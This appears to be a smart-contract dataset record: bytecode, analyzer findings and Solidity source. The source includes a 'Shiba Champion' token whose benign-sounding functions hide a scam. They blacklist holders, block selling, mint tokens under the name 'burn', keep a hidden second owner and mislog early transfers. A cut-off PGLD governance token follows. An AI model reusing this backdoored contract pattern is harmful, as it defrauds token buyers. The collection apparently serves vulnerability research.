261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611cb2565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461146e565b600081848411156112115760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261149c565b90506112de83826114bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611ce1565b816001815181106113cc576113cc611c6b565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a6e57610a6e600e54600c55600f54600d55565b60008060006114a9611626565b90925090506114b882826114bf565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a29086611733565b6001600160a01b0389166000908152600260205260409020556115c481611792565b6115ce84836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164182826114bf565b82101561165d57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149c565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b6000806117408385611cb2565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061179c61149c565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114bf565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106ab565b60006118c08385611d91565b9050826118cd8583611d6f565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112de8161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112de82611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112de8161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ff82d7dbf65201402edb588b0fe9ec9651601a54bbaecfffb28a92cd705196d764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,472
0x174292a42825d0aae91c982fdfba376915ba9dfb
/** *Submitted for verification at Etherscan.io on 2022-04-26 */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract ShibaChampion is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 1000000000*10**18; string public _name = "Shiba Champion"; string public _symbol= "Greyhound"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0x3d6Ba28e162C8541F4853998D2ce0d7C06Bc62c3); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function toggleReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = false; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610339578063b09f126614610359578063ba3ac4a51461036e578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b806370a08231146102a25780638da5cb5b146102c257806395d89b41146102e45780639dc29fac146102f9578063a6f9dae11461031957610140565b806323b872dd116100fd57806323b872dd14610201578063294e3eb114610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806315a892be146101ca57806318160ddd146101ec57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101ea6101e5366004611174565b6104a4565b005b3480156101f857600080fd5b5061016561054a565b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ea6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ea61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101656102bd366004611092565b6106a2565b3480156102ce57600080fd5b506102d76106c1565b6040516101729190611282565b3480156102f057600080fd5b506101906106d0565b34801561030557600080fd5b506101ea610314366004611149565b6106df565b34801561032557600080fd5b506101ea610334366004611092565b6107cb565b34801561034557600080fd5b506101bd610354366004611149565b610819565b34801561036557600080fd5b5061019061082d565b34801561037a57600080fd5b506101ea610389366004611174565b6108bb565b34801561039a57600080fd5b506101ea61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b600c546001600160a01b03163314806104c75750600d546001600160a01b031633145b6104d057600080fd5b60005b81518110156105465760016003600084848151811061050257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061053e816115d6565b9150506104d3565b5050565b60065490565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806107025750600d546001600160a01b031633145b61070b57600080fd5b6001600160a01b0382166107315760405162461bcd60e51b81526004016105c190611436565b61073d60008383611082565b806006600082825461074f9190611583565b90915550506001600160a01b0382166000908152602081905260408120805483929061077c908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bf90859061130f565b60405180910390a35050565b600c546001600160a01b03163314806107ee5750600d546001600160a01b031633145b6107f757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610826610d0d565b8484610dc5565b6008805461083a9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546108669061159b565b80156108b35780601f10610888576101008083540402835291602001916108b3565b820191906000526020600020905b81548152906001019060200180831161089657829003601f168201915b505050505081565b600c546001600160a01b03163314806108de5750600d546001600160a01b031633145b6108e757600080fd5b60005b81518110156105465760006003600084848151811061091957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610955816115d6565b9150506108ea565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b81526004016105c19061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba8816106a2565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105469190611235565b6007805461083a9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016105c1906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016105c1906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016105c1906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016105c19061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b81526004016105c1906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b80356106bc8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea26469706673582212209e34a47514591278dcdcab0173c01ea938e8d083caee7c71ec16ebd4c5e018cf64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,473
0xf8f39125be26fd5446bb8b82dc652a96c9b45acd
/** *Submitted for verification at Etherscan.io on 2020-03-04 */ pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract PGLD { /// @notice EIP-20 token name for this token string public constant name = "People's Gold"; /// @notice EIP-20 token symbol for this token string public constant symbol = "PGLD"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 240000000e18; // 240 million PGLD /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); constructor() public { balances[msg.sender] = uint96(totalSupply); emit Transfer(address(0), msg.sender, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "PGLD::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "PGLD::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "PGLD::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "PGLD::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "PGLD::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "PGLD::delegateBySig: invalid nonce"); require(now <= expiry, "PGLD::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 